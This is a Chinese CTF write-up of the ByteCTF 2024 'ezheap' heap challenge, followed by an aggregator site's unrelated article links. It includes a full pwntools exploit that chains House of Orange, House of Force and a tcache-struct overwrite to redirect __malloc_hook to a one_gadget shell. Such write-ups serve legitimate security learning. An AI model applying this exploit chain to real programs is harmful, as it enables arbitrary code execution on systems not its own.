【PWN · HOO | HOF | Tcache pthread struct】[2024 · ByteCTF] ezheap

news2024/12/21 22:37:23

在学习了一段时间堆后,终于能较为从容、有思路地做题了

目录

前言

一、题目

二、总体思路

三、攻击过程调试 

(1)House of Orange 

(2)House of Force + tcache pthread struct attack

四、EXP 

总结


前言

做完后看了几个战队的WP,或多或少方法都有些差异,我的方法可能比较复杂(代码量来看)但是自己上手,遇到问题、想思路什么的,收益颇丰。于是记一篇博客,既是分享,也是总结。


一、题目

自然是保护全开 

经典的菜单,但是左边函数名一看,坏了,没有 free

看一下几个函数

add 里面,malloc 的值可以自定义,可以用 HOF (House of Force) 

freechunk 里面自然看不到 free,实际运行了一下,也没什么用。 

show 里面是按照字符串打印,需要注意 \x00 截断的问题

edit 里面存在任意长度的堆溢出

其中好像有一个 checksanbox 函数似乎是禁止修改 hook 的。但是动调算了一下,好像没有涉及到__malloc_hook(后面过程发现__realloc_hook禁止修改,但是__malloc_hook可以修改。。)

二、总体思路

拿到这题,先发散的想想,该怎么做。没有 free 的情况也算是很经典了,自然而然想到 House of Orange,能够在没有 free 的情况下,泄露 libc 和 heap

此外呢?之前代码审计的时候看到 malloc 没有限制,完全按照自己输入的 size 进行申请内存,而且存在任意长度的堆溢出,所以 House of Force 也是可行的。

程序开了PIE,House of Force 能够劫持 Top chunk 到任意位置,想劫持到 chunklist 但是地址不清楚啊;那就考虑偏移,即堆上是否有能够利用的地方呢,我通过偏移劫持到堆的某个位置?或者劫持到 libc 上?—— 如果劫持到 libc 上,修改__malloc_hook,或许可行。但是堆上也有一个结构可以利用,而我做题还没有遇到,所以想试试—— Tcache pthread struct。如果能劫持 tcache pthread struct,就能够做到任意地址分配,实现任意地址写,再修改__malloc_hook。(虽然好像多走了一步。。但是能够保证 topchunk 还是在堆区,可以避免很多问题,此外,在堆区意味着只需要知道偏移,而不一定需要知道具体的堆地址)

 因此总结思路如下:
House of Orange (泄露 libc 、heapbase)--->  House of Force (劫持tcache pthread struct)---> tcache pthread struct attack (修改__malloc_hook)---> 打ogg

三、攻击过程调试 

调试时自然是遇到很多问题,现在是 exp 通过后,因此就直接上正确的调试过程,不再做过程中遇到问题的一些解释。 

(1)House of Orange 

 ​​​​

 

 

 

至此,House of Orange 的攻击结束,成功 leak libc 和 heap 

(2)House of Force + tcache pthread struct attack

四、EXP 

from pwn import *
libc=ELF("./libc-2.27.so")
elf=ELF("./pwn")
context(arch=elf.arch,log_level='debug')

def add(size):
    io.sendlineafter(b'to exit:\n',b'1')
    io.sendlineafter(b'add:\n',str(size).encode())

def show(index):
    io.sendlineafter(b'to exit:\n',b'3')
    io.sendlineafter(b'show:\n',str(index).encode())

def edit(index,size,content):
    io.sendlineafter(b'to exit:\n',b'4')
    io.sendlineafter(b'edit:\n',str(index).encode())
    io.sendlineafter(b'size\n',str(size).encode())
    io.sendlineafter(b'input\n',content)

io=process("./pwn")
gdb.attach(io)

### house of orange
# leak libc
add(0x30)
edit(0,0x40,p64(0)*7+p64(0x0d71))
add(0xe00)
add(0x40)
show(2)
io.recvuntil(b': ')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x3ec2a0
libc.address=libc_base
info('libc_base: '+hex(libc_base))
malloc_hook=libc_base+0x3ebc30
info('__malloc_hook: '+hex(malloc_hook))

# leak heap
edit(2,0x10,b'aaaaaaaaaaaaaaaa')
show(2)
io.recvuntil(b': ')
io.recv(0x10)
heap_base=u64(io.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000
info('heap_base: '+hex(heap_base))

### House of force 打 tcache pthread struct
add(0xd00-0x10)
add(0x20)
edit(4,0x30,p64(0)*5+b'\xff'*8)
add(-138826)
add(0x70)
edit(6,64+0x8,p8(1)+p8(0)*63+p64(malloc_hook))
add(0x10)
'''
0x4f2be execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

'''
edit(7,0x8,p64(libc_base+0x4f322))
add(0)
io.interactive()

总结

还要向各个战队学习,精简、直接、多解、花式利用

对笔者来说,算是酣畅淋漓的综合利用,虽然题目不算特别难,但是也能涨涨士气。与诸君共勉

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2168175.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Maya没有Arnold材质球

MAYA 没有Arnold材质球_哔哩哔哩_bilibili

OJ在线评测系统 前端 完善题目提交服务 细讲异步前端请求与后端接口交互

题目提交服务完善 这则笔记是我们来梳理一下前后端逻辑 主要是我们的提交逻辑 先是看前端 按钮绑定的是这个异步请求 async 关键字表示这个函数内部会使用 await 来等待异步操作完成。 异步提交表单数据 const doSubmit async () > {// message.error("刷题机架构…

第二十九篇——用间篇:间谍的五种用法

目录 一、背景介绍二、思路&方案三、过程1.思维导图2.文章中经典的句子理解3.学习之后对于投资市场的理解4.通过这篇文章结合我知道的东西我能想到什么? 四、总结五、升华 一、背景介绍 间谍的用法,精准的说明了对应的边界;以及在什么场…

字节打印流字符打印流

打印流不能读,只能写 打印流 分类:打印流一般是指:PrintStream,PrintWriter两个类 特点1:打印流只操作文件目的地,不操作数据源 特点2:特有的写出方法可以实现,数据原样写出 特点3:特有的写出方法,可以实现自动刷新…

如何将二氧化碳“封”入海底?

什么?人类在收集空气?!! 收集的二氧化碳用来干什么?这活咋干? 近期了解到一则新闻: 不得不说人类的智慧真是令人感叹,我们确实在为地球的环保事业添砖加瓦,点点滴滴的努…

【前端必读】一、使用 Cursor 的基本功能全教程(使用与安装)

【前端必读】一、使用 Cursor 的基本功能全教程(使用与安装) 【前端必读】二、使用 Cursor 的基本功能全教程(快捷键及其他功能) 一、使用 Cursor 的基本功能教程(使用与安装) 这篇教程主要讲解了如何使用…

react的事件绑定

文章目录 基本示例使用箭头函数事件对象阻止默认行为绑定事件处理函数的上下文 在 React 中,事件绑定主要通过 JSX 属性来实现。事件处理函数被传递给相应的事件属性,例如 onClick、onChange 等。这些属性会被绑定到 HTML 元素上,并在事件发生…

shiro 在未登录时候获取 SecurityUtils.getSubject() 异常

一、错误描述 需求背景:新项目需要通过aop将请求日志打印出来,并且附上当前登录人的账号,系统认证使用 shiro 控制,想着直接通过 SecurityUtils.getSubject() 获取当前身份,但是很不幸的是,当用户没有登录…

低代码BPM业务流程:简化企业流程管理的利器

什么是低代码BPM? 低代码BPM结合了低代码开发平台与业务流程管理的理念,使企业能够以较少的编码工作,快速设计、实施和优化业务流程。低代码平台通常提供可视化的界面,用户可以通过拖放组件来构建应用,而无需深入掌握…

linux信号 | 学习信号三步走 | 全解析信号的产生方式

前言:本节内容是信号, 主要讲解的是信号的产生。信号的产生是我们学习信号的第二个阶段。 我们已经学习过第一个阶段——信号的概念与预备知识(没有学过的友友可以查看我的前一篇文章)。 以及我们还没有学习信号的第三个阶段——信…

【rust】 基于rust编写wasm,实现markdown转换为html文本

文章目录 背景转换预览核心代码前置依赖rustup换源cargo换源中科大 wasm-pack安装 背景 尝试用rust编写一款markdown转html的插件,通过wasm给html使用,不得不说体积挺小,约200K, 比go的wasm起步2MB看着舒服点。 不过go的配置和换…

Nginx基础详解3(nginx.conf核心代码讲解、常用命令解析、Nginx日志切割)

续Nginx基础详解2(首页解析过程、进程模型、处理Web请求机制、nginx.conf语法结构)-CSDN博客 目录 8.nginx.conf核心代码 8.1错误日志 8.1.1第一列: 8.1.2第二列: 8.1.3第三列: 8.2 #pid 8.3http模块&#xff…

Vue引入js脚本问题记录(附解决办法)

目录 一、需求 二、import引入问题记录 三、解决方式 一、需求 我想在我的Vue项目中引入jquery.js和bootstrap.js这种脚本文件,但发现不能单纯的import引入,问题如下。 二、import引入问题记录 我直接这么引入,发现控制台报错TypeError: …

语义分割评价指标——95% Hausdorff距离

回顾以下95% Hausdorff距离的概念,一张比较经典直观的图: 一、 最快理解 max(d_XY, d_YX):取X>Y距离 和 Y>X距离的最大值。 其中 X>Y max min x>y :X所有点都和Y集合计算最小的距离,得到的距离集合再取最大值。 同理 Y>X m…

汽修行业:融合员工培训、知识库管理系统与SOP

随着汽车技术的飞速发展和消费者需求的日益多样化,汽修行业面临着前所未有的挑战与机遇。为了提升服务质量、增强竞争力,汽修企业必须重视员工培训、知识管理和作业标准化。本文旨在探讨如何构建一套集成汽修员工培训、知识库管理与SOP(标准作…

Leetcode - 周赛416

目录 一,3295. 举报垃圾信息 二,3296. 移山所需的最少秒数 三,3297. 统计重新排列后包含另一个字符串的子字符串数目 I 四,3298. 统计重新排列后包含另一个字符串的子字符串数目 II 一,3295. 举报垃圾信息 本题就是…

首个端到端自动驾驶背景下对抗性训练研究

更多优质内容,请关注公众号:智驾机器人技术前线 1.论文信息 论文标题:Module-wise Adaptive Adversarial Training for End-to-end Autonomous Driving 作者:Tianyuan Zhang, Lu Wang, Jiaqi Kang, Xinwei Zhang, Siyuan Liang,…

(done 意义不明的公式) 声音信号处理基础知识(10) (Demystifying the Fourier Transform: The Intuition)

参考:https://www.youtube.com/watch?vXQ45IgG6rJ4 就像棱镜可以把可见光分解为不同波长的光一样,FT 做的事情就是把复杂的声波转为不同频率的声波 FT 可以把时域信息转为频域信息 以下是对于 FT 的一些 intuition-level 的理解: 1.FT 会…

2.4K star的GOT-OCR2.0:端到端OCR 模型

GOT-OCR2.0是一款新一代的光学字符识别(OCR)技术,标志着人工智能在文本识别领域的重大进步。作为一款开源模型,GOT-OCR2.0不仅支持传统的文本和文档识别,还能够处理乐谱、图表以及复杂的数学公式,为用户提供…

如何使用ssm实现基于JavaWeb的个人健康信息管理系统

TOC ssm701基于JavaWeb的个人健康信息管理系统jsp 绪论 1.1 研究背景 当前社会各行业领域竞争压力非常大,随着当前时代的信息化,科学化发展,让社会各行业领域都争相使用新的信息技术,对行业内的各种相关数据进行科学化&#x…